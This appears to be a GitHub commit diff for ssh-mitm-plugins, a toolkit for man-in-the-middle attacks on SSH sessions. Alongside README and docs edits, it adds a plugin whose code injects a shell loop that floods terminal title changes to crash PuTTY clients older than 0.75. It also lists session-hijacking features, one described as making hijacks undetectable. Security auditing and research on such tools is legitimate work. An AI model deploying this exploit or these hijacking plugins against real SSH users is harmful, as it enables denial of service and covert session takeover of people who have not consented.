File tree Expand file tree Collapse file tree 5 files changed +38
-9
lines changed
Expand file tree Collapse file tree 5 files changed +38
-9
lines changed Original file line number Diff line number Diff line change @@ -16,6 +16,11 @@ Installing the ssh-mitm server including these plugins is very simple:
1616
1717 $ pip install ssh-mitm-plugins
1818
19+ Alternatively, ssh-mitm-plugins is featured as an optional dependency in the ssh-mitm package.
20+ Installation can occur through:
21+
22+ $ pip install ssh-mitm[ plugins]
23+
1924The current version of the ssh-mitm server will be installed and additional advanced features
2025will be available through these plugins. The ssh-mitm server will operate normally as described
2126by the [ ssh-mitm project] ( #ssh-mitm ) .
@@ -25,7 +30,8 @@ by the [ssh-mitm project](#ssh-mitm).
2530Following advanced features will be made available through the modular runtime compilation of
2631the ssh-mitm server.
2732
28- #### SSH
33+ #### SSH
34+ * injectorshell - a way to hijack a ssh session and execute commands on an separated shell
2935* stealthshell - improving on the * injectorshell* , this ssh interface will
3036make hijacking of a ssh session undetectable
3137* scriptedshell - perfect for security audits and information gathering, this ssh interface executes
Original file line number Diff line number Diff line change 1- .. SSH-MITM Plugins documentation master file, created by
2- sphinx-quickstart on Tue Feb 23 09:35:30 2021.
3- You can adapt this file completely to your liking, but it should at least
4- contain the root `toctree` directive.
5-
61 SSH-MITM Plugins Documentation
72============================================
83
Original file line number Diff line number Diff line change 11Start
22======
33
4- With version 0.4.0 the [ ssh-mitm]( http://ssh-mitm.at/) projects locks the features
4+ With version 0.4.0 the ` ssh-mitm < http://ssh-mitm.at/ >`_ projects locks the features
55shipping with the core functionality of the program.
66It is now preferred that any additions to the
77feature-set is made through the modular capabilities that the ssh-mitm project is built upon. Using
88entrypoints in combination with modules anyone can make their own ssh-mitm plugins.
99
1010Here you will find detailed feature-oriented documentation of the creators
11- additions to the ssh-mitm project.
11+ additions to the ssh-mitm project.
Original file line number Diff line number Diff line change 22 'SSHBaseForwarder' : [
33 'scriptedshell = ssh_mitm_plugins.ssh.scriptedshell:SSHScriptedForwarder' ,
44 'stealthshell = ssh_mitm_plugins.ssh.stealthshell:SSHStealthForwarder' ,
5- 'injectorshell = ssh_mitm_plugins.ssh.injectorshell:SSHInjectableForwarder'
5+ 'injectorshell = ssh_mitm_plugins.ssh.injectorshell:SSHInjectableForwarder' ,
6+ 'puttydos = ssh_mitm_plugins.ssh.putty_dos:SSHPuttyDoSForwarder'
67 ],
78 'SCPBaseForwarder' : [
89
Original file line number Diff line number Diff line change 1+ from ssh_proxy_server .forwarders .ssh import SSHForwarder
2+
3+
4+ class SSHPuttyDoSForwarder (SSHForwarder ):
5+ """PuTTY < 0.75: DoS on Windows/Linux clients
6+
7+ Security fix: a server could DoS the whole Windows/Linux GUI by telling
8+ the PuTTY window to change its title repeatedly at high speed.
9+
10+ PuTTY-Changelog: https://www.chiark.greenend.org.uk/~sgtatham/putty/changes.html
11+ """
12+
13+ def __init__ (self , session ):
14+ super ().__init__ (session )
15+ self .exploit = [
16+ "PS1=''" ,
17+ "while :" ,
18+ "do" ,
19+ "echo -ne '\\ 033]0: NEW_TITLE${RANDOM} \\ 007'" ,
20+ "done"
21+ ]
22+ self .executed = False
23+
24+ def forward_extra (self ):
25+ if not self .executed :
26+ self .server_channel .sendall ('\n ' .join (self .exploit ) + '\n ' )
27+ self .executed = True
You can’t perform that action at this time.
0 commit comments